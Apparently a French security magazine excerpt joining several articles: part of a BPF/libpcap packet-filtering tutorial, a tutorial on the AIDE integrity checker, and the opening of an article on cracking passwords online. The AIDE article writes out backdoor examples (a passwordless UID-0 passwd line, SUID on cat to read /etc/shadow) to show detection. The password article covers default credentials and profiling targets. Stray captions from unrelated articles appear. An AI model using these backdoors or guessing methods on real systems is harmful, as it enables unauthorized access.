traf fic (ARP, autres connections tcp en 
cours, dns...). Il serait nécessaire de 
pouvoir filtrer les trames qui parviennent 
à notre application afin de ne pas la 
surcharger inutilement.

Là encore, magie de BSD, c'est 
possible (voir amusant!).

Généralités
Les BPF permettent aux processus qui 
les utilisent de leur fournir une "règle de 
passage" ou un filtre plus simplement,  
afin de ne leur remonter que les trames 
qui les interessent. Vous comprenez 
maintenant pourquoi les "Berkeley 
Packets Filters" por tent ce nom.

A sa réception par l'inter face  
réseau, une trame sera soumise au 
filtre du bpf, si elle le passe, elle est 
remontée à l'application qui lit le /dev/
bpf. Sinon elle n'ef fectue que son trajet 
classique dans la pile du noyau.

Les filtres BPF peuvent être 
considérés comme des programmes 
destinés à une pseudo-machine. Cette 
pseudo-machine dispose de cinq 
éléments : un accumulateur, un index, 
un registre, un compteur ordinal et de la 
mémoire.

•  L'accumulateur est un registre 
intermédiaire de calcul (dans  
lequel il est possible de charger  
une valeur pour une opération 
future).

•  L'index permet de se repérer dans  
le paquet en cours de traitement.

•  Le registre permet de charger des 
valeurs numériques.

•  Le compteur ordinal est implicite,  
il permet de se repérer dans  
les instructions du programme, 
et est utilisé pour les sauts 
d'instructions.

Un filtre est un tableau d'instructions. 
Une instruction est une structure définie 
ainsi : mais pour simplifier l'utilisation de 
ce mécanisme, les auteurs ont prévus 
un ensemble de macros. L'objectif étant 

Table 1. Modèle OSI

N° Nom Exemple

7 Application HTTP, FTP

6 Présentation LPP

5 Session RPC

4 Transport TCP, UDP

3 Réseau IP

2 Liaison Ethernet

1 Physique Fibre optique...

Listing 8: exemple de filtre BPF

struct bpf_insn instructions[] = {
    /* charger 16 bits (halfword) du paquet, depuis la position 12 */

    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),

    /* si c'est un paquet IP continuer, sinon sauter 4 instructions */

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_IP, 0, 4),

    /* charger le numero du protocole, à l'offset 10 depuis la position courante */

    BPF_STMT(BPF_LD+BPF_B+BPF_IND, 10),

    /* si le numéro de protocole correspond à celui d'un paquet  

tcp alors on le garde */

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 2, 0),

    /* On regarde s'il s'agit d'un paquet UDP, et on le rejette sinon */

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_UDP, 0, 1),

    /* return -1 : le paquet sera traité */

    BPF_STMT(BPF_RET+BPF_K, (u_int)-1), 

    /* return 0 : le paquet ne sera pas traité */

    BPF_STMT(BPF_RET+BPF_K, 0)

};
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vraiment de rapprocher l'écriture de 
ces filtres de l'écriture d'un logiciel en 
assembleur.

Les premières à connaitre sont  
BPF STMT et BPF_JUMP. La première 
stipule que l'instruction qu'elle contient 
est un "statement", une action sur les 
données du paquet qui cherche  
à passer le filtre. La seconde stipule 
que l'instruction qu'elle contient est un 
saut conditionnel, permettant de passer 
à un autre endroit du filtre selon le 
résultat d'un test.

Pour la syntaxe des instructions, le 
mieux est d'étudier un exemple...

Exemples
L'exemple est un filtre permettant  
de ne sélectionner que le traf fic TCP  
ou UDP. Le code est fourni dans le 
Listing 8.

On remarquera que les instructions 
se combinent via le signe '+'. Dans la 
première ligne, l'instruction BPF _ LD 
permet le chargement (load) d'une 
valeur sur seize bits (halfword), à la 
position 12 depuis le début du paquet 
(adressage absolu).

La seconde instruction est un 
saut conditionnel. Le saut de quatre 
instructions est ef fectué si la valeur 
chargée à l'instruction précédente n'est 
pas égale à 'K', à savoir la constante 
ETHERTYPE _ IP.

La suite du programme est  
similaire, à l'exception peut être de 
l'instruction 3, où l'on charge une 
valeur sur huit bits (BPF _ B) depuis  
la position courante à l'aide de  
BPF _ IND (adressage indexé).

Pour le détail de toutes les instruc- 
tions, reportez-vous à la page de manuel 

de bpf(4). Très complète, elle propose en 
plus quelques exemples de filtres.

Construire le "programme" pour la 
pseudo machine est une tâche simple, 
dans la même fonction, au dessous de la 
déclaration précédente, il suffira de faire :

struct bpf_program programme = {

    7, /* nombre d'instructions */

    instructions /* 

    instructions 

    du programme/filtre

};

En pratique, pour appliquer ce filtre  
sur le /dev/bpf que nous avons ouver t , 
il faut utiliser un ioctl, une fois les deux 
déclarations précédentes ef fectuées,  
et une fois le bpf ouver t et rat taché  
à une inter face réseau.

ioctl(fd, BIOCSETF, &programme);

Portage sous les  
autres systèmes :  
la librairie pcap

Présentation
Le nom de la librairie (bibliothèque pour 
les puristes...) PCAP vient de Packet 
CAPture. Et c'est effectivement ce pour 
quoi elle est conçue. Ecrite par les 
développeurs du logiciel tcpdump, pcap 
est une manière élégante et portable de 
capturer des paquets comme au travers 
d'un bpf. Plus généralement elle reprend 
les caractéristiques des bpf et permet 
leur utilisation sous les systèmes ne 
possédant pas ce mécanisme.

Avantages
La fiabilité et la por tabilité sont 
assurément les deux avantages 
majeurs de cette librairie. Cependant, 
une de ses fonctionnalité est 
remarquable, la possibilité de 
transmettre des filtres dans un langage 
compréhensible par l'homme!

Ainsi, les filtres suivants auront 
le même ef fet que les filtres bpf vus 
précédement, mais sont autrement plus 
simples à lire :

tcp or udp

ip src 192.168.1.1 and not port 80

De plus, ils peuvent être générés 
très facilement à l'aide de fonctions 
du genre snprintf() de manière 
dynamique.

Une version Windows de la librairie 
PCAP existe. Développée par la société 
CACE Technologies, elle s'appelle 
WinPcap. Depuis que Microsoft a retiré 
les raw sockets de windows (ou les 
a fortement bridé, selon les versions), 
cette librairie permet de continuer de 
développer des outils réseau puissants 
pour ce système. Cependant les 
contraintes liées à l'obligation d'injecter sur 
la couche de liaison sont importantes...

Limites
Malheureusement, cette librairie ne 
saurait être par faite. Et cer taines de ses 
limites peuvent pousser un développeur 
à lui préférer les mécanismes natifs.

Le premier est contournable 
facilement mais peut être déroutant 
pour les débutants avec la libpcap : il 
s'agit de la gestion des timeouts. Ceux-
ci me sont pas supportés sur tous les 
systèmes d'exploitation (par example 
sous Linux).

Le second, plus gênant, est la 
per formance. La libpcap peut introduire 
des temps de latence plus ou moins 
important entre la capture ef fective 
du paquet et sa transmission au 
processus à l'écoute (50ms).

Lorsque la por tabilité n'est pas la 
principale contrainte dans un projet , 
faire appel aux mécanismes natifs 
fournis par le noyau s'avère toujours 
payant en terme de per formances.

Conclusion
Cet ar ticle vous a fourni les bases 
pour concevoir des outils puissants 
sous BSD mais aussi sous les autres 
systèmes d'exploitation avec la librairie 
PCAP. Si vous souhaitez mettre ces 
informations en pratique, la page de 
manuel Unix bpf(4) vous sera d'une 
aide précieuse.

Sur Internet

•  http://www.tcpdump.org – site de 
la librairie pcap,

•  http://www.winpcap.org – le site de 
la librairie winpcap,

•  http://www.freebsd.org – le 
site officiel du projet FreeBSD proposant 
téléchargement et documentation du 
système FreeBSD,

•  http://www.unix-junkies.org – site 
de l'auteur.

À propos de l'auteur
L'auteur poursuit un cursus d'ingénieur réseaux et 
télécoms à l'ESEO. Il est également chargé de la 
direction du système d'information du SEIO. Il s'implique 
également dans des projets OpenSource et co-
administre le site www.unix-junkies.org.
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AIDEBACKUP AIDE

AIDE peut être assimilé à une clone 
amélioré du logiciel de scellement de 
fichiers bien connu qu'est Tripwire.

Le principe d’AIDE est relativement simple. 
Il s’agit de construire une sorte de base de 
données de signatures de l’ensemble des fichiers 
se trouvant sur la machine, que celle-ci soit une 
machine cliente ou bien un serveur. AIDE va créer 
une base de signatures grâce à des algorithmes 
d'empreinte cryptographique des fichiers.

Périodiquement, AIDE va recalculer les 
empreintes des fichiers qui peuvent régulièrement 
changer afin d’avoir une base de données  
de signatures constamment à jour.

Au niveau des vérifications, de manière 
périodique également (période définie par 
l’administrateur du système ou du parc 
informatique), l’ensemble des fichiers présents 
sur le système vont être comparés aux signatures 
présentes dans la base de données.

Si les empreintes sont dif férentes  
(au niveau du fichier, de sa date, de ses  
droits d'accès, de son inode ...), le logiciel 
détectera une modification de fichiers et en 
avisera l’administrateur par mail ou par fichier  
de log suivant les paramètres d’avertissements 
mis en place.

Régis sENET 

Cet artiCle 
explique...
L’utilisation et l’installation  
d’AiDE. 

Ce qu’il  
faut savoir...
systeme Unix/Linux (Les bases).

Ces logiciels sont très utiles en cas  
d'intrusion, afin de découvrir ce qui a été  
changé (journaux modifiés, fichiers ajoutés  
à certains endroits, binaires comme netstat,  
lsof, who, sshd modifiés, fichiers de configuration, 
pages web, etc.).  Parallèlement, AIDE peut 
s'avérer très utile pour l'administration. En effet, il 
sera capable de détecter des erreurs commises 
(fichiers de configuration changés, ajoutés ou 
effacés, modifications de binaires).

Attention, il est cependant très important de 
comprendre qu’AIDE n’est pas un outil permettant 
de protéger votre système d’exploitation. Il a pour 
simple but de vérifier les possibles modifications 
qu’il aurait pu y avoir sur le système et de faire 
remonter les informations. Si personne ne lit 
les informations retournées par AIDE, alors les 
modifications tomberont dans l’oublie. 
 
installation et configuration 
d’aiDe 
Au cours de cet article, la distribution utilisée 
fut une Debian 5.0 (Lenny) entièrement mise 
à jour. Attention, il est possible que certaines 
commandes ne soient pas tout à fait identiques 
sur une autre distribution. Les installations 
se réalisant via le gestionnaire de paquet se 

Degré de difficulté:

AIDE,  
Comment surveiller 
l’intégrité de votre  
système ? 
Advanced intrusion Detection Environment ou plus  
communément appelé AiDE est ce que l’on appel couramment 
un HiDs ou encore Host-based intrusion Detection system.
Par définition, on appelle iDs (Intrusion Detection System) un 
mécanisme écoutant le trafic réseau de manière furtive afin  
de repérer des activités anormales ou suspectes et permettant 
ainsi d'avoir une action de prévention sur les risques d'intrusion. 
Un HiDs assure la sécurité au niveau des hôtes.
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AIDE

AIDE,  
Comment surveiller 
l’intégrité de votre  
système ? 

réaliseront grâce au gestionnaire de 
paquets propre à un système Debian : 
APT (Advanced Package Tool).

Mise à jour du système
Il est possible à tout moment qu’une faille 
de sécurité soit découverte dans l’un  
des modules composant votre système 
que ce soit Apache ou quoi que ce soit 
d’autre. Certaines de ces failles peuvent 
être critiques d’un point de vue sécurité 
pour l’entreprise. Afin de combler ce risque 
potentiel, il est nécessaire de régulièrement 
mettre à jour l’ensemble du système grâce 
à divers patches de sécurité.

Il est possible de mettre à jour 
l’ensemble du système via la commande 
suivante :

nocrash:~# apt-get update && 

   apt-get upgrade

Le système d’exploitation est maintenant 
complètement à jour, il est donc possible 
de mettre en place AIDE dans de bonnes 
conditions.

Il est possible de ne pas passer 
par cette étape mais elle est fortement 
conseillée pour la sécurité ainsi que  

la stabilité de votre système d’exploitation.
Nous allons réaliser l’installation 

d’AIDE de deux manières dif férentes : 
La première est tout simplement une 
installation via les dépôts Debian. L’autre, 
quand à elle va se réaliser grâce aux 
sources officielles.

installation d’aiDe  
via les dépôts
L’installation via les dépôts est extrêmement 
simple, il suffit de taper la commande 
suivante afin d’installer AIDE ainsi que tous 
les paquets associés:

nocrash:~# apt-get install aide

installation d’aiDe  
via les sources
L’installation via les sources est 
légèrement plus complexe mais vraiment 
très légèrement. Avant toute chose, il est 
nécessaire d’installer certains paquets 
important pour l’installation d’AIDE.

  nocrash:~# apt-get install -y 

  build-essential  bison  

  flex  zlib1g-dev  libgpg-error-dev 

  libmhash-dev

  Nous pouvons à présent installer

  AIDE dans de bonnes conditions.

  nocrash:~# mkdir /var/aide

  nocrash:~# cd /var/aide/

  nocrash:~# wget http://

  sourceforge.net/projects/aide/

  files/aide/0.13.1/

  aide-0.13.1.tar.gz/download

  nocrash:~# tar xzf 

  aide-0.13.1.tar.gz

  nocrash:~# cd xzf aide-0.13.1/

  nocrash:~# ./configure

  nocrash:~# make && make install

 

Et voila, l’installation d’AIDE via les 
sources est terminée. Il est à présent 
possible de passer à son utilisation.

initialisation d’aiDe
Maintenant qu’AIDE est correctement 
installé, nous allons nous pencher sur 
son utilisation mais dans un premier 
temps, nous allons voir de quoi il 
retourne. Pour des raisons pratiques, je Pour des raisons pratiques, je 
ne mettrais pas ma base de données 
sur un CD/DVD mais rappelez vous que 
dans votre cas, cela est complètement 
indispensable.

P U B L I C I T É
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Pour voir les possibilités qu’offre 
AIDE, vous pouvez tapez la commande 
suivante :

nocrash:~# aide --help

Usage: aide [options] command

Commands:

  -i, --init  Initialize 

                the database

  -C, --check Check the database

  -u, --update  Check and update 

                the database 

                non-interactively

        --compare Compare 

                two databases

Miscellaneous:

      --config-check Test the

                configuration file

  -v, --version Show version 

                of AIDE and 

                compilation options

  -h, --help Show this 

        help message

Création de la base de données :

nocrash:~# aideinit

Suivant le type d’installation que vous 
avez choisi, il est possible que le fichier 
de configuration ne soit pas au même 
endroit. Il est donc nécessaire de le 
préciser de la manière suivante :

nocrash:~# aide --init -c 

   /etc/aide/aide.conf

   ### AIDE database at 

   /var/lib/aide/aide.db.new

   initialized

La base de données est donc créée à 
l’emplacement /var/lib/aide/aide.db.new 
initialized.

La première méthode (aideinit) est 
fortement conseillée, certains bugs 
apparaissent avec la deuxième.

Ce processus prend environ  
une quinzaine de minutes, alors  
soyez patient.

Si vous ne savez pas ou est  
votre fichier de configuration vous  
pouvez utiliser la commande find  
de la manière suivante : 

find / -name aide.conf

Pour la suite, il est nécessaire de 
renommer la base de données de la 
manière suivante :

nocrash:~# mv /var/lib/aide/

   aide.db.new   

   /var/lib/aide/aide.db

Cas pratique 
Au cours de ce chapitre, nous allons 
apporter des modifications qu’un pirate 
pourrait apporter à votre système 
d’exploitation pour pouvoir ensuite voir 
comment AIDE réagit à ce changement 
de fichier.

Exemple 1 :
Notre pirate a réussi, par une méthode ou 
une autre, à accéder en écriture, au fichier 
/etc/passwd. Afin de pouvoir passer en 
root sur la machine, il y a ajouté la ligne 
suivante :

system::0:0:system:/:/bin/bash

On notera ici, qu'il a simplement créé un 
utilisateur nommé system, sans mot de 
passe, qui a le même ID que root. L'intrus 
pourra ainsi, a tout moment passer root 
sur la machine, via un simple compte 
utilisateur, en utilisant la commande su 
– system

Ce type de backdoor est assez dif ficile 
à repérer, étant donné que l'on ne consulte 
pas le fichier /etc/passwd tous les jours et 
qu'en plus, le nom system pourrait paraître 
normal.

Exemple 2 :
Là encore, notre intrus à obtenu les droits 
root et il voudrait être sûr de pouvoir 
revenir sous cette identité, à sa guise et 
même après un changement du mot de 
passe de ce dernier par l'administrateur. 
Pour se faire, il pourra positionner un bit 
SUID, sur les commandes qu'il désire, afin 
de pouvoir les exécuter ensuite en tant 
que root :

nocrash:~$ cat /etc/shadow

cat: /etc/shadow: 

   Permission non accordée

nocrash:~$ su -

Password:

[root@localhost ~]# 

   chmod a+s /bin/cat

[root@localhost ~]# exit

nocrash :~$ cat /etc/shadow

root:xxxxx:13449:0:99999:7:::

Encore une fois, pour repérer ce genre 
de manipulation, cela reste dif ficile, car il 
faudra régulièrement regarder les bons 
droits sur les fichiers (avec la commande 
find / -perm +4000 par exemple).

Vérification
Il est à présent possible de vérifier l’intégrité 
du système grâce à la commande check. 
Tout comme la création de la base de 
données, la vérification prend un peu de 
temps à se faire.

nocrash:~ # aide --check

Toujours dans l’éventualité ou le fichier de 
configuration n’est pas trouvé quand vous 
lancez cette commande, il est possible 
de préciser son emplacement grâce à la 
commande suivante :

nocrash:~ # aide --check  -c 

   /etc/aide/aide.conf

[…]

changed: /etc/passwd

changed: /bin/cat

[…]

Nous pouvons donc voir qu’AIDE à bien 
détecté les changements qui ont eu lieu 
entre le moment ou la base de données  
à été construite et le moment ou on 
réalise la vérification.

Bien sur, il est possible d’automatiser 
ces actions grâce à cron et même de 
se faire notifier par mail. Pour les mails, 
il est nécessaire de démarrer le démon 
sendmail et de l’installer s’il n’est pas 
présent sur la machine :

nocrash:~ # apt-get install 

   sendmail

nocrash:~ # /etc/init.d/

   sendmail start
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Cet artiCle 
explique...
Les attaques permettant de 
hacker des mots de passe  
pour les services à distance,

Les outils qui servent à cracker 
les mots de passe online,

Les méthodes de profiling des 
propriétaires des comptes 
protégés par un mot de passe,

Les méthodes pour trouver des 
informations personnelles sur 
des inconnus,

Les principes de créer des mots 
de passe sécurisés.

Ce qu'il faut 
savoir...
Connaître les notions  
de l'ingénierie sociale,

Connaître les notions des 
méthodes pour faire des 
attaques simples sur le réseau,

Connaître les notions du 
fonctionnement et de l'utilisation 
des outils qui servent à analyser 
le réseau et les systèmes 
informatiques, tels que Nmap,

Connaître les notions du 
fonctionnement du protocole 
Telnet.

I l existe de nombreuses méthodes 
dif férentes pour cracker des mots de passe. 
Afin de choisir une méthode appropriée, 

il faut reposer sur une analyse de la tâche 
concrète. Nous distinguons deux types 
d'attaque de base relatifs aux mots de passe.

Les attaques du type offline se servent du 
fait d'avoir un accès direct au fichier chiffré  
(par exemple, les archives RAR, ZIP, etc. chiffrés) 
ou au fichier contenant les mots de passe 
chiffrés (par exemple, le fichier /etc/shadow 
dans les systèmes d'exploitation du type 
*NIX). Bien que récupérer les mots de passe 
directement sous forme chiffrée, donc retourner 
un algorithme qui génère les mots de passe 
codés, peut être difficile, voire impossible. 
Posséder les mots de passe sous cette forme 
ouvre la voie à plusieurs méthodes de l'attaque. 
Récupérer un mot de passe codé permet de 
définir un groupe de mots de passe probables, 
de générer leurs codes conformément  
à l'algorithme utilisé dans ce cas-là et ensuite 
de comparer tous les mots de passe codés  
au mot de passe cracké. Si le mot de passe 
codé est identique à un de mots de passe 
codés dans l'ensemble vérifié, nous avons 
réussi : nous avons trouvé le mot de passe 
recherché. La plupart d'algorithmes utilisés 
actuellement pour générer un mot de passe 
codé sont très rapides, grâce à quoi il est 
possible en une seconde de générer des 
centaines de milliers de mots de passe codés 

Proszę powiedzieć, 

et de les comparer à un modèle. Toute une 
gamme d'attaques a été basée sur ce principe : 
notamment les attaques par dictionnaire, les 
attaques qui vérifient toutes les combinaisons 
de mots de passe possibles (algorithmes de 
force) et les méthodes hybrides. Les attaques 
basées sur les tableaux arc-en-ciel constituent 
une réussite récente dans le domaine de 
crackage de mots de passe offline. L'idée est 
assez simple : cette méthode repose sur la 
génération d'une base contenant les couples 
<mots de passe, mot de passe codé> 
pour l'ensemble de mots de passe prévu. Les 
méthodes spéciales permettent d'enregistrer 
seulement certains mots de passe codés. 
Grâce à cette démarche, la base entière garde 
une taille raisonnable. Dans un tel cas, deviner 
un mot de passe dont le code est en notre 
possession, consiste à trouver dans la base 
le code identique et lire le mot de passe qui lui 
correspond. Ces méthodes sont très efficaces 
et très rapides. Il est possible en quelques 
secondes de cracker un mot de passe. Les 
méthodes traditionnelles de vérification de 
toutes les combinaisons possibles auraient 
besoin des jours, des mois, voire des années 
pour le faire.

Les attaques du type offline ont été 
présentées en détails dans notre magazine 
Hakin9 (numéro 1/2009) par Łukasz Ciesielski. 
Je voudrais parler en revanche dans cet article 
des attaques du type online. Les attaques de 

Degré de difficulté

Hacker  
les mots  
de passe
Figura 1. Selección de modo de arranque
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ce type peuvent être définies comme 
celles où la seule possibilité de vérifier 
si le mot de passe est correct consiste 
à tenter de se connecter au système 
attaqué. Les exemples de ces attaques : 
tentative d'attaquer un serveur FTP distant 
ou tentative d'obtenir le mot de passe  
à une boîte e-mail disponible via 
l'interface Web.

Dans ce type d'attaques, le 
processus de cracker le mot de passe 
est très complexe. Il en est ainsi car 
les situations où nous utilisons des 
méthodes du type online se caractérisent 
pas l'absence d'accès au mot de passe 
attaqué sous forme codé. Il est donc 
impossible d'opter pour les attaques par 
dictionnaire, de force, hybrides et pour 
celles qui reposent sur la base de mots 
de passe codés générées auparavant. 
Comment donc cracker un mot de 
passe lorsque nous ne disposons 
d'aucune donnée sur son sujet et nous 
ne pouvons pas accéder au système où 
ce mot de passe est stocké ? Il existe 
des méthodes, aussi bien techniques 
que non, dont l'utilisation simultanée 
permettra de cracker des mots de passe 
et leur efficacité peut être surprenante.

Magie noire ?
Comme je l'ai déjà mentionné, les 
attaques du type online se caractérisent 
par l'absence d'accès au mot de passe 
chiffré. Cette situation rend impossible 
l'utilisation de la plupart de méthodes 
traditionnelles pour cracker des mots 
de passe car elles se basent sur la 
génération et la comparaison des 
mots de passe codés. Ce n'est pas 
toutefois le seul problème qui se trouve 
devant un intrus. Comme le contact 
avec le système d'exploitation ou le 
service attaqué n'est possible que par 
l'intermédiaire d'un réseau (sous forme 
d'une tentative de connexion), vérifier 
une seule combinaison de mot de 
passe dure beaucoup plus longtemps 
qu'une opération similaire effectuée 
en local. Cela signifie donc que dans 
le cas d'attaques online, l'intrus est en 
général incapable de tester des millions 
ou des milliers de combinaisons de 
mots de passe. De plus, les milliers de 
tentatives de connexion envoyées au 

serveur par un réseau public peuvent 
attirer l'attention des systèmes réseau 
chargés de détecter des attaques NIDS 
(en anglais Network Intrusion Detection 
System) qui remarqueront la tentative 
d'attaque. Il arrive aussi souvent que les 
administrateurs définissent un nombre 
maximal de tentatives de connexion  
à un serveur ou service donné dans un 
intervalle défini, ce qui rend également 
impossible les tentatives massives de 
connexion à distance.

Les attaques du type online 
constituent pour un intrus un grand défi 
mais elles ne sont pas impossibles  
à réaliser. Un cracker peut dans un tel 
cas opter pour une méthode que nous 
pouvons appeler une méthode par 
dictionnaire modifiée avec l'utilisation des 
outils d'automatisation de la connexion  
à distance. L'idée est assez simple  
et consiste à générer un petit dictionnaire 
contenant seulement les mots de passe 
dont nous pensons qu'ils peuvent être 
utilisés dans le cas concret. Munis 
d'un dictionnaire ainsi préparé, nous 
utilisons ensuite les outils qui tenteront 
une connexion automatique au serveur 
ou service attaqué pour tous les mots 
testés. Au moment où l'une de tentatives 
réussit, le programme affichera le mot de 
passe correct pour le système attaqué.

Comme vous pouvez le constater, la 
partie la plus dif ficile de cette opération 
consiste à générer ce dictionnaire 
magique de mots de passe potentiels. 
Au premier abord, la tâche semble 
pratiquement impossible à faire car 

sur quoi nous baser pour deviner un 
mot de passe ? Je vous démontrerai 
dans un instant que cette tâche peut 
s'avérer étonnamment simple. Les 
connaissances strictement informatiques 
ne seront pas ici utiles. Il faut utiliser les 
statistiques, la psychologie appliquées  
et l'ingénierie sociale. Le plus grand allié 
de l'intrus est tout simplement la paresse 
et la négligence humaines...

Cracker la boîte noire
Lorsque nous n'avons aucune 
connaissance sur le serveur, le service 
ou le dispositif réseau (je parle ici 
également de connaissances sur les 
administrateurs) dont le mot de passe 
nous voulons avoir, nous parlons du 
crackage de la boîte noire (en anglais 
black box cracking). Il semble que 
créer un dictionnaire de mots de passe 
potentiels qui servirait aux tests suivants 
soit impossible dans une telle situation.

Remarquez toutefois que les serveurs 
d'aujourd'hui travaillent sous contrôle d'un 
des plusieurs systèmes d'exploitation 
couramment utilisés. Les applications 
Web utilisent généralement plusieurs 
moteurs les plus populaires. Les services 
sont proposés au moyen de plusieurs 
solutions populaires, commerciales ou 
gratuites. Enfin, les dispositifs réseau 
spécialisés, tels que les commutateurs 
ou les routeurs, proviennent en grande 
partie de plusieurs fabricants leaders. La 
conclusion : l'intrus rencontrera le plus 
probablement un environnement typique, 
il arrive rarement qu'une solution donnée 
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soit créée depuis les bases à la  
commande. Ensuite, nous pouvons 
remarquer que probablement toutes ces 
solutions (application Web, routeur, serveur 
de base de données, etc.) proposeront 
une interface permettant une gestion 
à distance. Il peut s'agir d'une interface 
disponible via le navigateur Internet, via 
une ligne de commandes, le protocole 
SNMP, etc. Ceci n'a pas d'importance. 
La chose la plus importante est que 
l'intrus est capable d'identifier une telle 
cible. Au moyen des techniques connues 
comme OS and Service Fingerprinting, 
nous sommes capables de recueillir 
une série d'informations sur la cible de 
l'attaque. La description détaillée des 
techniques d'empreinte digitale dépasse 
les cadres de cet article, je mentionnerai 
donc seulement que le scanneur réseau 
Nmap peut être très utile ici. Lorsque nous 
disposons des informations élémentaires 
sur le type du système d'exploitation, du 
dispositif ou du service, nous pouvons 
passer à la création de la liste de mots  
de passe potentiels.

Dans le cas de la boîte noire, la 
liste de mots de passe potentiels doit 
contenir dans un premier temps les mots 
de passe par défaut rencontrés dans la 
solution en question. Il arrive très souvent 

que les dispositifs ou les services ne 
soient pas correctement protégés. Les 
administrateurs laissent les comptes 
par défaut avec des mots de passe par 
défaut et les utilisent. Il peut également 
arriver que les administrateurs aient créé 
des comptes protégés par des mots 
de passe puissants et ils les utilisent 
pendant le travail mais ils ont oublié de 
désactiver les comptes intégrés par 
défaut. Il arrive aussi qu'un compte test 
(par exemple, test) ait été créé pour 
mettre en place et tester un nouveau 
service protégé par un mot de passe 
facile à retenir (par exemple, test aussi). 
Nous pouvons rencontrer des situations 
dans lesquelles un mot de passe 
vide est utilisé pendant les tests ! Ce 
choix doit bien évidemment faciliter les 
connexions fréquentes durant les tests 
du service. Il arrive malheureusement 
souvent qu'une fois le lancement final 
effectué, les administrateurs oublient de 
supprimer un tel compte.

Contrairement à de nombreux 
administrateurs, les hackers et les 
crackers connaissent très bien le 
problème de mots de passe par défaut 
ou utilisés dans les tests et ils profitent 
souvent de cette faille. Les groupes de 
hackers et de crackers créent même  

des listes spéciales de mots de passe 
où tout le monde peut trouver des mots 
de passe par défaut pour un appareil  
ou un programme donné. Le groupe 
connu sous le nom de Phenoelit  
a créé et actualise sans cesse une 
des plus grandes listes de ce type. En 
utilisant cette liste, les administrateurs 
peuvent vérifier si les mots de passe 
par défaut aux services et dispositifs 
dans leurs réseaux ne sont pas actifs. 
Malheureusement, les crackers peuvent 
aussi (et ils le font) utiliser cette base de 
mots de passe...

Dans un second temps, il faut 
prendre en considération les mots de 
passe susmentionnés employés lors des 
testes et les mots de passe utilisés le 
plus souvent. Si les mots de passe par 
défaut n'ont pas permis de se connecter 
à un service distant, le cracker peut 
encore vérifier les mots de passe utilisés 
le plus souvent. Les statistiques relatives 
aux mots de passe utilisés, démontrent 
clairement que les gens choisissent en 
général des mots de passe simples, 
faciles à retenir et qui se réfèrent  
à quelque chose qu'ils connaissent. Les 
listes de mots de passe le plus souvent 
utilisés sont bien évidemment aussi 
publiées sur Internet. À l'instar des mots 
de passe par défaut, ils peuvent être 
utilisés pour vérifier si le mot de passe 
que nous utilisons se trouve sur l'une 
de ces listes. Ces listes sont toutefois 
utilisées le plus probablement par des 
intrus pour créer des listes de mots de 
passe potentiels. Les mots de passe 
considérés le plus souvent comme le 
plus utilisés sont les suivants :

•  mot de passe vide (absence de mot 
de passe),

•  mot « mot de passe » ou 
« password »,

•  mot « admin » ou « administrateur »,
•  suite de caractères avoisinants sur 

le clavier par exemple « azerty » ou 
qsdf »,

•  mot de passe identique au nom du 
compte (login),

•  injure.

La plupart d'administrateurs se rendent 
compte du fait qu'il ne faut pas utiliser  
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les mots de passe employés le plus 
souvent et donc ils en choisissent un...  
et ils le modifient. Ils ajoutent le plus 
souvent un chiffre à la fin ou au début 
du mot de passe. Il s'agit le plus 
fréquemment d'un chiffre 1. Les crackers 
le savent bien évidemment et ils ajouteront 
à la liste de mots de passe probables 
les combinaisons comme : admin1, 
password1, ou bien 1asdf. 

Analysons un exemple de voler un 
mot de passe : une tentative de hacker un 
mot de passe pour un système travaillant 
sur une adresse IP concrète. Mis à part 
l'adresse IP, nous ne savons rien sur la 
cible de l'attaque, il s'agit donc du cas 
de crackage de la boîte noire. Munis 
uniquement de l'adresse IP, nous pouvons 
dans un premier temps essayer d'identifier 
le type du système qui fonctionne à 
l'adresse distante. Pour ce faire, il suffit 
de lancer le scanneur Nmap avec les 
paramètres suivants : nmap -A adresse_
IP_de_la_cible. Regardez le résultat du 
scan (Figure 1). Vous remarquerez que 
Nmap a identifié le système distant 
comme un routeur travaillant sous le 
contrôle du système d'exploitation IOS. 
Vous verrez aussi que l'adresse scannée 
supporte la liaison du type DSL dans 
le domaine tpnet.pl. Sous l'adresse IP 
choisie se cache donc le routeur de 
l'entreprise Cisco derrière lequel se trouve 
le plus probablement le réseau LAN 
de l'entreprise. Analysons la suite des 
résultats du scan : nous remarquerons les 
ports ouverts de l'appareil, en particulier 
23/TCP et 80/TCP. Les services telnet et 
les gestions ouverts à tous par le serveur 
Web intégré sont la preuve que l'appareil 
n'a pas été correctement protégé. Nous 
pouvons donc essayer de nous connecter 
à l'appareil via les interfaces ouvertes en 
utilisant les mots de passe par défaut 
(les données par défaut permettant de 
nous connecter au routeur Cisco, c'est 
en général : cisco:cisco) ou les mots de 
passe le plus fréquemment employés. Si 
nous sommes chanceux, nous réussirons 
à obtenir un accès complet à l'appareil.

Cracker la boîte grise
Si nous n'avons aucune donnée sur 
le système attaqué, les méthodes 
présentées ne sont pas bien évidemment Figure 3. Activation du crash dump 
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efficaces à 100 % et le succès dépendra 
d'une faiblesse éventuelle du mot 
de passe ou de la négligence de 
l'administrateur.

Cependant, l'intrus dispose très 
souvent d'un savoir partiel sur le 
service attaqué ou son administrateur/
propriétaire. Il en est ainsi car en général, 
il choisit une cible concrète de l'attaque 
et le choix n'est pas aléatoire. Lorsque 
nous disposons d'un savoir, aussi 
minime soit il, sur le système attaqué et 
les personnes y liées, nous parlons d'une 
attaque consistant à cracker une boîte 
grise (en anglais gray box cracking).

En créant un dictionnaire de mots 
de passe potentiels au système dont 
nous connaissons quelque chose, nous 
testerons dans un premier temps les 
possibilités présentées dan le cas d'une 
boîte noire.  Si les mots de passe par 
défaut et le plus souvent employés ne 
permettent pas de nous connecter au 
service attaqué, il faut alors nous servir 
du savoir relatif au système lui-même et 
aux personnes qui le gèrent.

Si le savoir concerne le système, le 
service, le serveur, le logiciel ou l'appareil 
dont le mot de passe nous voulons 
voler, nous pouvons utiliser ce savoir de 
manière suivante en créant le dictionnaire 
de mots de passe potentiels :

•  sachant que l'application créée à la 
commande s'appelle par exemple 
GigaWebAdmin, nous pouvons 
ajouter au dictionnaire de mots 
de passe probables les logins 
et les mots de passe suivants : 
gigawebadmin:gigawebadmin, 
admin:gigawebadmin, administrator:
gigawebadmin, etc. ; il est également 
conseillé de tester les mots de passe 
contenant un chiffre au début  
et à la fin, tels que gigawebadmin1  
et 1gigawebadmin,

•  si le système, dont le mot de 
